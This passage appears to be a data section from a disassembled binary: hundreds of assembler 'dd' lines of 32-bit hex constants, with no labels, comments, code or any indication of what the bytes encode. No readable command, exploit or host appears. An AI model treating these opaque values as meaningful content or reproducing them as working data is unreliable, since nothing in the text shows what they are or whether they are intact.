		dd 3F38A044h, 0F051A908h, 0C87A0201h, 0D09C687Eh, 251139h
		dd 0CE44F46h, 1E1A81BBh, 403817FCh, 7F3420ACh, 620F0DDDh
		dd 3FC2C107h, 0FA0803Ch, 8F6068B2h, 461F00D3h, 6C920B85h
		dd 200D165h, 0D570F763h, 2E204E8h, 0C9D2C5AFh, 0C849F175h
		dd 0D9BF6048h, 3CDB593Fh, 0AE7780EBh, 5F3F9F3Eh, 2450F076h
		dd 2F39370h, 546EED5Dh,	0E468B88Ch, 7495B000h, 196A0276h
		dd 0CDD0A89h, 9984432h,	407A29F3h, 0A9FCF12h, 654ED4B4h
		dd 82DB195Eh, 0D8A06CEFh, 0EC456E21h, 0C8753625h, 0B8F85704h
		dd 415E003Bh, 2CEE977Dh, 2B0E47F5h, 0E31278E2h,	0E87559ECh
		dd 60A317h, 8014B909h, 88819B2Dh, 80A16A39h, 0ABD7D542h
		dd 83138Ah, 0EEF6D1Eh, 0D024B292h, 80CA48h, 0BAE4DAAAh
		dd 0EACCC9h, 38452F2Dh,	46C21B6Ch, 88B9FB00h, 49305B1Fh
		dd 11600A3Ah, 30DB5036h, 5CE38730h, 0ADBE9E0Fh,	0BD8E97h
		dd 0BC7C0F3Ah, 0B7520EDCh, 84A0F99Dh, 3148DF0Ah, 0B3D4F300h
		dd 11368140h, 0E63E0097h, 0D1D2C39Dh, 0F3057B24h, 0E10B4EF7h
		dd 0C2B0AC80h, 14F63C42h, 7FE2FA80h, 37BE02FDh,	7CC8D00h
		dd 0EE74887h, 0C1CE00C6h, 7DFD4B35h, 0FC0025DFh, 0C2FB498Bh
		dd 27DB44h, 9626139Eh, 9ACF9743h, 0EA1588E4h, 0E204A166h
		dd 4148884h, 0BB81F87Dh, 4910AA60h, 7A709110h, 7C2E413h
		dd 0D3172B1Ah, 82042035h, 0F31DC0B4h, 87184666h, 88BFB729h
		dd 60893BA0h, 8F44F708h, 0FA22845Bh, 118C423Ch,	0BF218E13h
		dd 903A4F08h, 8A798478h, 27428348h, 2124243Eh, 6712888Fh
		dd 89424D10h, 44730890h, 22848B22h, 3C424D3Bh, 2F10EA21h
		dd 489B5B84h, 1CD742E8h, 1F213324h, 11541290h, 0D722FA39h
		dd 8E4D22BEh, 5584102Eh, 80FB4818h, 3B9F0D49h, 0D900A2B8h
		dd 97DE82FEh, 0FA1D41A4h, 42F31F91h, 0CA92C0C4h, 7BDCA030h
		dd 9BDFA800h, 64D16103h, 0B980EABh, 0B2A0798Eh,	215AF98Fh
		dd 84ED9207h, 1972F86Ch, 6A2AC03Bh, 0C4D5004Dh,	2EA71FCDh
		dd 707FEB91h, 37B85B00h, 988039E1h, 608D00B2h, 14EC6C47h
		dd 2B00DD87h, 5EF26218h, 0C23F81h, 513EF11Ch, 7E79CFD0h
		dd 30233900h, 4AB304EFh, 9BE457h, 0BBBCCC41h, 228FA097h
		dd 11719200h, 45932776h, 2BE71291h, 0C65C4043h,	0CF6ACB37h
		dd 5F986400h, 0C47144FAh, 8E54003Dh, 8CA90896h,	1303C29Ch
		dd 26DC2C60h, 0E5B4A81Dh, 0C117933h, 9615C76Ah,	13902A68h
		dd 3DCE9718h, 88B12068h, 0A6003679h, 85331E8Fh,	0DF7FA8h
		dd 0D9C1FD4h, 0BB890B8Ah, 0B5477E00h, 2E05B287h, 512C00BFh
		dd 0D1866F2Fh, 0A100773Ah, 3D129354h, 0E9CF4h, 4D836089h
		dd 0BDC738BBh, 0A51AA0A0h, 4F92490Fh, 2B66096h,	0F11F9Dh
		dd 554CAD06h, 0BBAF7FCDh, 43EF507h, 42C5D60Dh, 0E41A400h
		dd 3D39F69h, 94E250F6h,	0D190338Bh, 0BA00190Fh,	3CCFC432h
		dd 3ADB3E6h, 2E25CB50h,	90B76907h, 665DD92Bh, 32843450h
		dd 6E06CF00h, 0EDC1EBD5h, 56BB1EACh, 75C8120h, 0FC24AB4Fh
		dd 0F3077D8Eh, 0CF0427B9h, 6082F632h, 0D12024h,	0E492FEAh
		dd 6906F2A6h, 75186400h, 42A598E1h, 8C4F01F8h, 6C7C76C6h
		dd 0AB33EC5Fh, 0AD7F2D00h, 650797DDh, 0B5620137h, 35AE46EBh
		dd 594C20E0h, 0F5A01100h, 0B742165Dh, 0CCF009Eh, 89E170C5h
		dd 103B81D1h, 0DEB4891Fh, 0CB7800F7h, 9086A2CEh, 6B9F0F50h
		dd 0A5007CBBh, 15143335h, 0BE3D2200h, 0AB3B72F6h, 661100E2h
		dd 42B2BD10h, 32009430h, 398AE790h, 11D743Dh, 34EB407Bh
		dd 31DF2C8Eh, 20CDC19Ch, 68009153h, 39D34CB1h, 70FF2E21h
		dd 2FBF0EA8h, 1B6052A2h, 0C1DB0FA1h, 0B7857800h, 6A6CAA8Ah
		dd 209D6040h, 0B2809CF0h, 244DC001h, 0FDEE749Eh, 75EBEF4h
		dd 259B96C9h, 0E963F0D0h, 5F304E8Eh, 680B389Eh,	0F64B00B8h
		dd 64DCECC4h, 7B0F70ACh, 476C0CBAh, 0EF50E990h,	980D185h
		dd 0CD8C5181h, 0FFF880Eh, 41FF6DF1h, 0C80839F2h, 29D0CC27h
		dd 5C10A804h, 0D8809E32h, 70B5922h, 0DC95DE78h,	0DDCF4F15h
		dd 0F0B53280h, 4B01647Bh, 0C70FECC2h, 4C304D9Ah, 0A9510001h
		dd 7128A87Ah, 2702B85Eh, 0DFB77EF4h, 6C144083h,	1B3E02ADh
		dd 0DEFA09D8h, 4B8D480h, 2C04BD61h, 0E3E48E71h,	0FADC8B87h
		dd 47DC007Bh, 1633BFFh,	0B0003F1h, 0D9B32BB9h, 24AF923Fh
		dd 214E159h, 0F84CA54Dh, 2EA71018h, 3EFD61C4h, 6F04A10Ch
		dd 1B0E585Ah, 43794871h, 9353C72Fh, 28CEC0BFh, 855200C2h
		dd 0E9302C27h, 0C024BFFh, 2BE80EA8h, 500860CAh,	0D2EAEDh
		dd 9157AEBCh, 43B45A19h, 891CE500h, 2966AF0Bh, 601207EAh
		dd 605176B9h, 0C258D56Ah, 20C7ED00h, 0E7DD77FCh, 87850F94h
		dd 9360E67Ah, 8FCE861Ch, 34FBE200h, 4F6B71FCh, 94B4004Ah
		dd 0DA0D80FDh, 9498CDA8h, 77C1B700h, 0E1D3E78Ch, 2C7A009Ah
		dd 226292CAh, 99018E55h, 47AF2474h, 0BC408926h,	0B00B4130h
		dd 0B6860104h, 739A58A2h, 0E81120C8h, 28479505h, 0F4003CA0h
		dd 682EFC4Ch, 3B7004h, 0A52DBD0Fh, 72C774D7h, 0B6FBC502h
		dd 80DE4583h, 106129BCh, 0D7A70351h, 0DD383975h, 0DC83E4A0h
		dd 0DF368800h, 7F9C72BBh, 0A4A50093h, 46FF74B0h, 2E748564h
		dd 480FCA1Fh, 0F2C28A80h, 738D5Dh, 6452265Eh, 0BE608C31h
		dd 0EBBF5700h, 7328685h, 0D83F00A1h, 142546C1h,	0FE001702h
		dd 499A2060h, 7137336h,	0F33304A8h, 9CAD0D4h, 0A401D0E4h
		dd 986DF41Dh, 99603585h, 0A972009Dh, 6FF07094h,	8EFC1CAAh
		dd 2D00D9B0h, 0FF5687E4h, 0EA9309h, 0B74A83A5h,	4CBDFD39h
		dd 91DE6800h, 0D40766EEh
		dd 720A0067h, 4EF7831Ch, 0C5787B0Eh, 353AAD00h,	423EE043h
		dd 927196h, 0C92EEA5Dh,	0A53761F0h, 0A89CFA0Fh,	0C8620AC8h
		dd 4056540Fh, 0BFEEE4D6h, 46E500F6h, 0A5D1A167h, 0DD018C63h
		dd 0A0331003h, 0C6C0DA3Dh, 0B1C53C75h, 2D2CFF80h, 2AB92476h
		dd 0A10CD801h, 29D281ADh, 0D13990C3h, 0EB130041h, 6AFF8F51h
		dd 1009A6E1h, 1058EDC7h, 4AF6B6Ch, 38BC2BEh, 0F018C072h
		dd 0E6001E2Bh, 269FD5ECh, 0F1615CEh, 84399285h,	0D854A8A0h
		dd 0BC00D124h, 0F37849B5h, 70F12C61h, 92CB079h,	4BF27A41h
		dd 0C7DEC080h, 50AD243h, 0F056551Fh, 2F7A5B00h,	1F86EA4h
		dd 4B8930D9h, 0F87D53C5h, 0E900F0B2h, 681124B5h, 1659CDDh
		dd 4CA44D6Bh, 0FCF20450h, 0F10042F5h, 91C0A862h, 0B8A196h
		dd 6980188h, 9E2FE5C7h,	0EFD91300h, 23CEF3A0h, 3DE00EBh
		dd 0CF0A687Dh, 0E200B8C6h, 0DD1E08A8h, 581F49h,	96A76EEAh
		dd 1F0295Eh, 64326263h,	0C35C909Bh, 0CC525051h,	61F21E65h
		dd 1C300098h, 0A66C744Fh, 0C13ACC1Eh, 0F6000EAEh, 0D0AA3941h
		dd 2C5E1C75h, 55A2C05Dh, 0FD342585h, 0A68D4C3Eh, 0EB051BA7h
		dd 0CC422F73h, 16A4D98Bh, 9C5720h, 0C0FB6E0Eh, 6C35A4E6h
		dd 631C3B79h, 5C164FCh,	0CE2F939Fh, 0D27F41C2h,	1EAF1C70h
		dd 408F2865h, 444090E4h, 46007F55h, 756B99B5h, 0E0A9A4h
		dd 0D175B72h, 0DA23BC3Dh, 2C09383Bh, 8300D2EFh,	8C96360Eh
		dd 5C7F0078h, 0D5067B7Dh, 0A476C6F6h, 551C2500h, 50D8F803h
		dd 0C43E00DAh, 725A1B4Eh, 417EAE1Fh, 0A4B4151Eh, 0FC3CA00h
		dd 0ADB923h, 98FAD2BEh,	8D210587h, 0A40AF705h, 0E580D8EBh
		dd 1A1600Dh, 0C55097D7h, 70F94431h, 57033BD0h, 99AFDBA2h
		dd 617190C9h, 3360002Fh, 0EA8C58A7h, 0FB000337h, 0E4F4BA42h
		dd 9F4628h, 0C4FECC41h,	2CB69476h, 71810D00h, 0F154ED07h
		dd 0AEF700C7h, 709FC004h, 0DA059CE7h, 982C0D1Bh, 4CBE5480h
		dd 0DC9E5817h, 0A4AE540Fh, 0B978EE20h, 0CCA090F5h, 0BB078742h
		dd 0EB149258h, 9E8038C5h, 0ACE7BEh, 18F32A67h, 30FFC4A8h
		dd 7AC5F400h, 65981BC2h, 0C60501BDh, 120F7C45h,	23E0FEDCh
		dd 79032E5Ah, 0F9CC37BAh, 53CAA0C9h, 0A7C2039Ah, 8E8C33B7h
		dd 7A58A8C8h, 861E18F0h, 0C0436355h, 0B085CE9Dh, 9D59A76h
		dd 7E39A8D9h, 2CE1E401h, 5B6E60DBh, 5E6E4A0Eh, 17001D6Fh
		dd 0AD48F994h, 6945248Ah, 0DCAE0352h, 0C9F8118Ch, 0E500073Eh
		dd 0EC50845Ah, 4835136Dh, 1008451h, 0CD1BB315h,	0D200A0B4h
		dd 9160ED90h, 0FED526B6h, 967A1D63h, 954C0BCh, 0B9DC085Bh
		dd 0A1711D00h, 0CA99BB79h, 43F20061h, 0EF5EE23Bh, 9780DCBAh
		dd 0C029427Dh, 13C7C415h, 68C35C66h, 0CBDF5100h, 9F96039Dh
		dd 7DE303Fh, 91624AEEh,	4754002Bh, 0ADD295h, 852E344Dh
		dd 32A2EA89h, 0CF159F1Fh, 7FD96700h, 73697h, 0D7F1C7F9h
		dd 0EBB7D260h, 4D328D00h, 0E8C27B4Bh, 0CEA901D3h, 1D7A28ABh
		dd 66D280A3h, 5C052A92h, 0E5F063h, 0D9200D07h, 0D29B89BFh
		dd 1C43A103h, 0B83D0549h, 0BFF279Ch, 7516181Fh,	3100D00Eh
		dd 76AC4F1Bh, 67128900h, 0D53843B2h, 45F92C40h,	0E6B01FD9h
		dd 4C5C07C1h, 8B14E03Fh, 8D00220Dh, 44A778BDh, 3D554217h
		dd 0D52EE6CCh, 70F9808Ch, 5C3DF5C0h, 1461FA00h,	7C6DA74Bh
		dd 0D7B5147Dh, 3003A4C5h, 102D6771h, 41546EE0h,	6114F07Ah
		dd 3C48D91h, 1D0C465h, 3110084h, 30631539h, 99003F06h
		dd 0CE4037BFh, 123BDC4h, 887941FCh, 0C803A968h,	360695EAh
		dd 673C2816h, 6CB10FF0h, 0C3206073h, 0D73899C5h, 2258E500h
		dd 0F79F6707h, 134500D6h, 0A50405EAh, 24F20BF4h, 0C100E0B8h
		dd 5C9EF9ECh, 305234Dh,	0B379EB39h, 2000254Bh, 3317792h
		dd 13A3D867h, 0C037434Dh, 50075C78h, 0CD70C960h, 1751E8EDh
		dd 0F20F871h, 0BD4FE2DCh, 3025F400h, 99006FD7h,	3986A7EAh
		dd 0F456A2B7h, 143F0043h, 0D4927F79h, 510060DDh, 0F9B0692Fh
		dd 2CD90A21h, 0B4B359h,	8EC14F45h, 0C41D6ED0h, 2740461Bh
		dd 248361D5h, 0BCFAF6h,	0BF0CFA40h, 35AF895h, 0C9020FFCh
		dd 2531288Ah, 0A1F8C0BCh, 3A8301B1h, 6A6D783Ch,	0CBE3202Bh
		dd 5D428400h, 7923F774h, 0D7CE00E0h, 0C06DDCA3h, 0D100AB33h
		dd 5D70C972h, 5E7464h, 0E2273FFBh, 20794B51h, 38948C00h
		dd 0D66BA510h, 0B49B000Ah, 0F553380h, 96049916h, 4FC635D9h
		dd 7CF40E4h, 1542025Eh,	7AAAF39Bh, 0A4BBE90h, 0CC2AC200h
		dd 933B922Eh, 0BFE1Ah, 94A70D2Fh, 0EB38E0E3h, 6DC7360Bh
		dd 39D600A2h, 1E0F4D60h, 46DB0E66h, 98D36A46h, 0D1BBE904h
		dd 0B7C08D23h, 39BF9B6Dh, 9F001C8Ah, 59C2F7B6h,	0E00C42Dh
		dd 37EDFD52h, 399C47B3h, 7686438Ch, 98D79DB0h, 0F4C95800h
		dd 87C383E1h, 2B4A0791h, 0F017E28Dh, 0DA7507EEh, 5BBA8A00h
		dd 50F341F4h, 768F0425h, 0ACCB5323h, 29FB002Ch,	0FAC551A9h
		dd 59B0AEh, 0F6A249D5h,	0EA528E96h, 2A38B004h, 0C4C032B5h
		dd 2E39E883h, 3E56697h,	37C7AE60h, 6BF3F6C0h, 4FEC9100h
		dd 2416310Ah, 50F4ACB2h, 2C97E5h, 0A45C8012h, 557DE0EAh
		dd 2A1D4800h, 6BE2FB96h, 6E460102h, 9BD59FE9h, 1D617015h
		dd 0A1C0CE0Eh, 66F1A382h, 18889C51h, 0F4EFA6Bh,	472764BDh
		dd 0EAB01420h, 7F00A013h, 2842FA5Fh, 0FCE0E67h,	6616FF32h
		dd 4710D80h, 0F63DD436h, 3FC801C9h, 0AD0B46BBh,	137E35C8h
		dd 0EF9E9957h, 0CBF1F700h, 59B47Bh, 0A5302AB8h,	3712A409h
		dd 0DF941F00h, 3A476FA0h, 0E8510080h, 92C2D271h, 88752D0Bh
		dd 13BE9626h, 4FD0BB00h, 2E34263Ch, 6F5922h, 2FA274A8h
		dd 5D0060D4h, 0C7751A97h, 0EBA61C2h, 0E4F82E0h,	7E2CD980h
		dd 0B00BFA45h, 61DD7135h, 0D3D83A6Ch, 0AA3C0031h, 8305BFB4h
		dd 60028FE5h, 26FAB013h, 0A094E309h, 982238A6h,	0C74C021Ch
		dd 76DB36F6h, 375C0860h, 0FD7C9F16h, 0F0570883h, 3CF6AC4h
		dd 15942E8Eh, 0A6B0D8B0h, 0BE48754Bh, 8EDD3B99h, 0A292659Fh
		dd 0EE4CF407h, 0AFCF0024h, 0E26F6D8Ch, 0E81D30E4h, 0CB80397Dh
		dd 2747874Eh, 758B00B5h, 0D17F2083h, 0D201B3A7h, 0C7AB899Dh
		dd 0B5ECF5AFh, 9F7F438h, 84A25815h, 5CA6B460h, 4CC3FB01h
		dd 1FB15BC6h, 7F6830h, 0D573413h, 0C3C91135h, 8F07A4FAh
		dd 0CD2CF026h, 0DA04C250h, 36270373h, 55731E8h,	0B7150290h
		dd 47A92D0Fh, 8EBE43DCh, 8471E890h, 0FB88A0F4h,	627296h
		dd 5989DD70h, 16EF9E31h, 18E6F300h, 0C377AA4Ch,	0FA0300BBh
		dd 5E926B4h, 8C39845Fh,	54B689BEh, 0C7881077h, 0B11617ADh
		dd 0C4C00063h, 15326880h, 1E0330B6h, 98BC1D37h,	1C772AACh
		dd 0AE1784A7h, 40111DB8h, 332C4E49h, 40056ADh, 0A144F83Dh
		dd 0FA2B052h, 2EB40FA9h, 21C7AF81h, 0BE37F0C2h,	50CAA03h
		dd 0C859B050h, 17AC2C40h, 5E0F46h, 79B8884Ah, 8300E7D2h
		dd 1FAA8DB6h, 900BFAh, 9DC143EEh, 0C477C0CFh, 4F15FD2Ch
		dd 0DBF09600h, 48B7C8D3h, 9F093594h, 0F0803F0Ch, 8D46BED4h
		dd 0B1C860F7h, 0D8983825h, 5D5909F7h, 1800F777h, 1F3A37CDh
		dd 910CF100h, 2AC82EF3h, 0D7A603AFh, 0F71C581Eh, 4BE2C090h
		dd 13BFDB00h, 7D163932h, 19000A6h, 9394F9AFh, 0F1163D17h
		dd 0E500FFC6h, 0BAE2B769h, 61450EDAh, 1600B97Ah, 708F46EBh
		dd 0F7E1CB00h, 1EB518E8h, 2C070EF2h, 6DE511BCh,	1702C0B2h
		dd 2200B9F8h, 0B0E28692h
		dd 24DC87Fh, 0ED1FB36Ah, 39C04A16h, 0CE005FBDh,	8EF913A8h
		dd 60F3AC9Ch, 7E70EE74h, 8D032617h, 0D4A7D3F2h,	0BE2EE859h
		dd 16610066h, 0C44B69C5h, 0A9002B4Eh, 513C99DFh, 0F2B0949Ch
		dd 7919605Ch, 0DD2CA8Dh, 0D4BBDC01h, 0C3B78E20h, 259F4E8h
		dd 0FAF83008h, 6760DE13h, 42004EFFh, 0DD2276D7h, 3FF4CD55h
		dd 1600BD72h, 0A1DFBAE0h, 3300FADBh, 0C859EDBEh, 90A5B1A8h
		dd 0E6870086h, 0ACB1BDFh, 2D60070Dh, 0D8E1596Ah, 0B7B0069h
		dd 3CE7DF49h, 0BC024306h, 0B9FB8304h, 7D3C60F0h, 2037009Ah
		dd 56F3D829h, 0DE00740Ch, 69A9D214h, 16FDDF86h,	0C24119h
		dd 5884D6E6h, 0ED011A36h, 15EC1D1Ch, 0BFF4E545h, 535D0507h
		dd 0C0E2876Bh, 0ACD123B8h, 1F40D301h, 62AA8455h, 72CE6474h
		dd 804E0E7Fh, 56802822h, 0D0C032C4h, 0DE7BF6F2h, 76F0EE0Eh
		dd 4AFD84E8h, 0A44C8EC0h, 890601B0h, 2AFC52A7h,	0F2BB2022h
		dd 0A6008F90h, 32E681F3h, 0C3F602h, 0FD0B54CEh,	63133EA0h
		dd 0AAD06202h, 0D8C70CF2h, 0F5C63F88h, 5089A039h, 0DC205B7Ah
		dd 0D2F3BC2Eh, 8E003F76h, 51618F79h, 99F6CFDh, 46863D71h
		dd 922FD400h, 8E000259h, 0F48C5061h, 72AEE3Eh, 13F67D72h
		dd 0B9803F1Dh, 3AE5D628h, 84DB52h, 7566DAA3h, 127EA469h
		dd 80256D9Fh, 7BACDB30h, 0E217301h, 8E4E5F33h, 39F92C40h
		dd 0F7E0EDCh, 0C880B079h, 822BDE93h, 19F2A803h,	3AF366C6h
		dd 0D730FA21h, 7723B880h, 2D902400h, 70E5AA36h,	0C97F0015h
		dd 0C5AC12CFh, 1716381Ah, 1840F37Ah, 63603749h,	2AD300B5h
		dd 0AFAE5982h, 0C873EE9Dh, 0FCE24200h, 538B3385h, 8C3D016Fh
		dd 4D3A3896h, 0F39440C6h, 2B1EED48h, 0A70001EEh, 1676BD14h
		dd 0FC6D007Ah, 0A309B540h, 0C061ECA2h, 0F4E6A170h, 0C4609854h
		dd 670B59h, 5105CFE5h, 4AA895B8h, 1F3F2A00h, 3686F7A9h
		dd 0C1A8D99Fh, 0B88F092Fh, 0A897BAD0h, 0A47B0092h, 2EEEF5CEh
		dd 0CB4230B4h, 0A7799660h, 0CC15C22Bh, 0E1188000h, 3E785E52h
		dd 58C97DB8h, 83D23907h, 0DF05509Dh, 96C82Ah, 0F7CA5300h
		dd 13B7E02h, 26B951A4h,	0FA67EBD4h, 904050A4h, 5501B04Ch
		dd 15EF5C03h, 0C0EA2BA0h, 0E725F5h, 0C636C710h,	67C4713Dh
		dd 93A9C124h, 0EC06FE00h, 739803Fh, 0AC59F3FAh,	0FFAF00BCh
		dd 75018932h, 42D99DE6h, 3CC8B79Eh, 0DCF3008Bh,	18613978h
		dd 91007F9Fh, 215977A7h, 0BC5ED6Bh, 0BC222746h,	0C15EE8A0h
		dd 0E0319073h, 97BD58A9h, 0EE6DC8h, 0B1B3F445h,	0A638B818h
		dd 0F6CB8200h, 225A2165h, 56780BF3h, 1636h, 40B102EBh
		dd 0F1A42B1Dh, 0A8280E82h, 526C4835h, 0BBBFAB4h, 33B671EAh
		dd 30AC34E1h, 730FF090h, 0CF7BD320h, 801E6366h,	19C3B833h
		dd 6820ED7Ch, 0E53F0054h, 0EBF0DDB5h, 74F091ADh, 5150E00h
		dd 25C6231h, 4D5E008Fh,	0B21CF06Eh, 0E003986h, 0EE47AE73h
		dd 0CF78C4h, 95C2976Ah,	99A87668h, 0B756409h, 0AC1C24AEh
		dd 3F0BD0A9h, 0D4009BF2h, 157CD64h, 9FB71907h, 3930B1A9h
		dd 0F80878h, 0A4E82625h, 4D06F235h, 7CC26000h, 0E18590E5h
		dd 71800342h, 0F2133A4Ch, 729CEAB0h, 1E1C1858h,	0AD810A20h
		dd 0FAAC05DEh, 39F1F8h,	79BC4F7Fh, 88CA70A2h, 7BCF9400h
		dd 8CCD3418h, 777D1C5Ch, 10351943h, 14EFF0E4h, 79840300h
		dd 0D09D1F65h, 1A4A3F97h, 508F068Fh, 90E47FC3h,	85F8301Dh
		dd 0CEB355C0h, 1D1EFA7h, 0BDB8C8EBh, 0D8E668C7h, 9A00E4EEh
		dd 4BF0935Eh, 491AED06h, 26392822h, 0C4DF4180h,	0F19F0A74h
		dd 8E53E801h, 3A907C0Fh, 0DCA0A047h, 624294h, 20C35C1Bh
		dd 56752277h, 34534C00h, 21BB8110h, 1EFB0EE7h, 0F14008F5h
		dd 0D0BABE48h, 6275C000h, 2C2FD617h, 4402000Fh,	35A243ACh
		dd 0BD0E7CB8h, 807D5EF8h, 490594A0h, 0B4A8035Bh, 0BA8336A6h
		dd 24CF9ED9h, 173BB2Ch,	0DA44281Ch, 6B47E387h, 0E97D1B20h
		dd 9F9B0E7h, 0C1A1D9C7h, 0F5CF40A2h, 1B206CE4h,	0F8907F6h
		dd 62762h, 0B28098DCh, 6BAA9C00h, 0D5642D86h, 78881CA9h
		dd 0A328C07Dh, 0CD0D166Ch, 26FECC38h, 4E41FC51h, 31F066BDh
		dd 0A182606Ah, 3026B52Eh, 9729FB00h, 0FA330834h, 217A60ECh
		dd 0B9A0A31h, 0F911C461h, 1C2D14EAh, 82BBA81Dh,	6CCF231Bh
		dd 0F9ACB440h, 3401FCE0h, 13C7CDDBh, 74703157h,	0F37752h
		dd 0B9FE25E5h, 7D08005h, 51F8337Dh, 97BB4705h, 0A080585Ah
		dd 9DDBA5h, 5659BF09h, 3D2B9B86h, 909E8D24h, 40F4C900h
		dd 6511D37h, 0EE701C53h, 4EAA1DAh, 88F1C100h, 0A3D7B39Ch
		dd 27110047h, 2D341CD3h, 1816F6B5h, 4805F71Ah, 0A090E7E6h
		dd 2C873AB3h, 24989878h, 7F89094Dh, 0B415F800h,	0A9019ED4h
		dd 0B44CF60h, 81449F7Dh, 0A8F94A0h, 0B62C876Ch,	0F6404F44h
		dd 0F81AF953h, 571D2600h, 90F154A4h, 447A00D1h,	173E334Fh
		dd 0F4031829h, 0B2EF01EDh, 0FEE0029Dh, 0FC375BF8h, 30D0EC68h
		dd 1654A800h, 5AA255ABh, 3A400AEh, 35F17EFFh, 6C78B1E9h
		dd 14CC548h, 0D8258B77h, 36E963DFh, 0C12A9180h,	2433DA6Dh
		dd 79278C0Eh, 0F846601Eh, 0F36991BEh, 0A009863h, 4A12CBBAh
		dd 2E16E7CFh, 6C005CC1h, 0DCF9E170h, 0FA399822h, 48EC0040h
		dd 454EC7B7h, 1B0C385Ah, 0C9A41C89h, 0B4711304h, 0BCB8E074h
		dd 23D4A500h, 20677059h, 7B1B0055h, 0B4645D37h,	0BC60EFD3h
		dd 7FF1A3F1h, 0D0FD6052h, 0DA279181h, 0C14DE900h, 0F03AD16Ah
		dd 13E5053Bh, 9EFB59Ah,	0A02EBE9Eh, 79E0F50Ah, 0E86352h
		dd 30A17DDBh, 2B57186h,	835EF919h, 0B8E12197h, 0E8CEF64Eh
		dd 4C8AD620h, 2CCBCC46h, 0BF3AA060h, 5ABD48h, 7E91CE4Fh
		dd 0FB8357h, 10A6D076h,	9CFFD6D3h, 0C26AEB07h, 5720E6F5h
		dd 35C40D8h, 0EA8C10A7h, 96F2E531h, 5B608078h, 0DF55FB18h
		dd 11E6602Fh, 90BF98C6h, 619520h, 4EE82D04h, 375FB983h
		dd 439D6400h, 6DA36575h, 28080070h, 0E794CD7Ah,	0D100A6D4h
		dd 8914F7FFh, 0F692F4A5h, 9E6D0CB1h, 0B25039CBh, 8A00327Bh
		dd 0E23AD934h, 547767DBh, 2E58AC35h, 0BC404F07h, 0D3AAD185h
		dd 0F698B4FDh, 0FB293C62h, 206064F4h, 9901A6CBh, 54A2EEA3h
		dd 8CEC06B2h, 32B00B8h,	41EFDA5h, 1C0051AFh, 0A44E4316h
		dd 5F79B4h, 1BE684ECh, 704BBD0Dh, 7F8A901Eh, 5E38B000h
		dd 5882758Bh, 2A0F28B7h, 0F52908EFh, 0F15BB400h, 76004061h
		dd 0C311A606h, 0BA7359h, 634BB893h, 78FB8639h, 2B6A6F00h
		dd 53B75D9Ah, 0DD9200C9h, 0E4965C30h, 0F00FAC19h, 60AD630Ch
		dd 0AE07EE32h, 13F90945h, 95805C34h, 0B582BDD6h, 0F8FDD530h
		dd 2937561h, 7F112DBBh,	54D2F063h, 0A1B58500h, 0DC9E5AC3h
		dd 0E9340006h, 99FBE83Ah, 0C100D17Dh, 68F91059h, 79A35241h
		dd 4F7E09DCh, 2001B85Bh, 2E495DB7h, 37119C67h, 9824C003h
		dd 64F400A4h, 82819F6Dh, 92001F39h, 0C683B2DFh,	7D9F74Fh
		dd 0F81B0C06h, 0D1BDB0E6h, 1403DABBh, 0FE11793Fh, 958AF03Ah
		dd 25DC9293h, 420F4A1h,	26B3B0CCh, 53D2D800h, 9D3EE572h
		dd 0E3ECA0EEh, 0CD400531h, 0C0DA1DA4h, 699E5897h, 0D0417700h
		dd 31F443F8h, 46FA1D8Ch, 307000D3h, 9A176EB0h, 0DFDC0302h
		dd 609B8F5Eh, 9C27B50h,	71622AEFh, 17B2E600h, 0C8007547h
		dd 0A6973A73h, 0EBABE7h, 31AF0FEEh, 0A28BC3B9h,	8FA84900h
		dd 42747913h, 69B0F50h,	810F39F3h, 0BAD10D80h, 7B00EF32h
		dd 0EE6C5202h, 0ACDA0Bh
		dd 0C9DB99DFh, 0F9A4FE74h, 0B0A1D400h, 57B28805h, 918E00F7h
		dd 200FE770h, 260B4DA4h, 31F06047h, 3C18D848h, 3043DF26h
		dd 0B47A9780h, 58C8F91Eh, 7691F6h, 0E948F5CCh, 9652CF8Ch
		dd 5F04382Ch, 49280025h, 1F82931Dh, 47D9B334h, 6C88EA22h
		dd 0A701BD28h, 6CAF291Ah, 38627C9Fh, 0D3CAEB00h, 0B01FF440h
		dd 500B754Ah, 51BC0264h, 63DE6029h, 0C8970309h,	4CBA91CBh
		dd 1320A104h, 0E89054AFh, 240B968h, 59690D9Fh, 0E46086A6h
		dd 0CA2C51B0h, 32002022h, 4B5C98CEh, 0F49213h, 0B50C6C75h
		dd 911BB478h, 144EDB33h, 0FDB8F04Fh, 0B4F55871h, 25135400h
		dd 18D0CCCh, 0AB3CBD16h, 7B329428h, 0D1230003h,	304CE8AFh
		dd 3D14D2A7h, 2CD248C8h, 511EA42Ah, 0DF3E97CEh,	0FE6F5F40h
		dd 7EAE69h, 1DC234C5h, 6315026Bh, 0A89A522Ch, 0CB92BE90h
		dd 542F0B5Ch, 500C8964h, 3056787Ch, 37992BB3h, 30548E2Dh
		dd 6F0B4498h, 2ACBC5h, 65621A08h, 3BA2159Ch, 1913886Dh
		dd 4C1C8AF5h, 2C9D0334h, 91195C28h, 0F7EC6C4Dh,	18087FE5h
		dd 28836A11h, 0D77DF0BDh, 0C70BE892h, 68482155h, 1717667Ch
		dd 0C29F879h, 0A6DCF95Ch, 0A02579DCh, 9E9782F4h, 487A1233h
		dd 0F60C00D8h, 54ED894Dh, 5291F460h, 597063DBh,	93709Bh
		dd 1F302BECh, 9306CFE3h, 0E9A003BDh, 52B12E60h,	40E35894h
		dd 9B2A427Ah, 6AF098B4h, 0A0F26922h, 5C8722A4h,	8500DBF7h
		dd 5007EB39h, 9700D967h, 5989D783h, 1DF0482Ch, 83BD3F19h
		dd 23AA76A8h, 7C60A6BAh, 920975DBh, 0F882E862h,	0A59706B0h
		dd 116D540Ch, 2690DE00h, 1F3AF34Fh, 0EEAB0139h,	1B521451h
		dd 8C536B38h, 3BE35C30h, 4BF876E9h, 29B40863h, 0B37D2660h
		dd 21900013h, 0A69C529Ah, 68003E35h, 0E4F58459h, 439222h
		dd 8EC41D4Fh, 85107DBBh, 0C6ECA1F4h, 79BF503h, 0FAB09356h
		dd 226CC07Bh, 8AAB000Dh, 40994BAAh, 883BC47Fh, 0FC728269h
		dd 0C08B1764h, 98C3CECBh, 16BE00B0h, 0FE2DB54Ch, 4B038624h
		dd 0CC37940Ah, 9FADF8C6h, 0A65600A9h, 2082F54Ah, 0EF01548Ch
		dd 0DE1479FAh, 9F6098C7h, 0D4720B3Fh, 28742386h, 0C45BF100h
		dd 7EA7BACh, 0B1B4452Eh, 20BBA30Dh, 71E144D8h, 1C37C30Fh
		dd 78D5A022h, 48C23601h, 0B400A0A0h, 206376C5h,	94C03202h
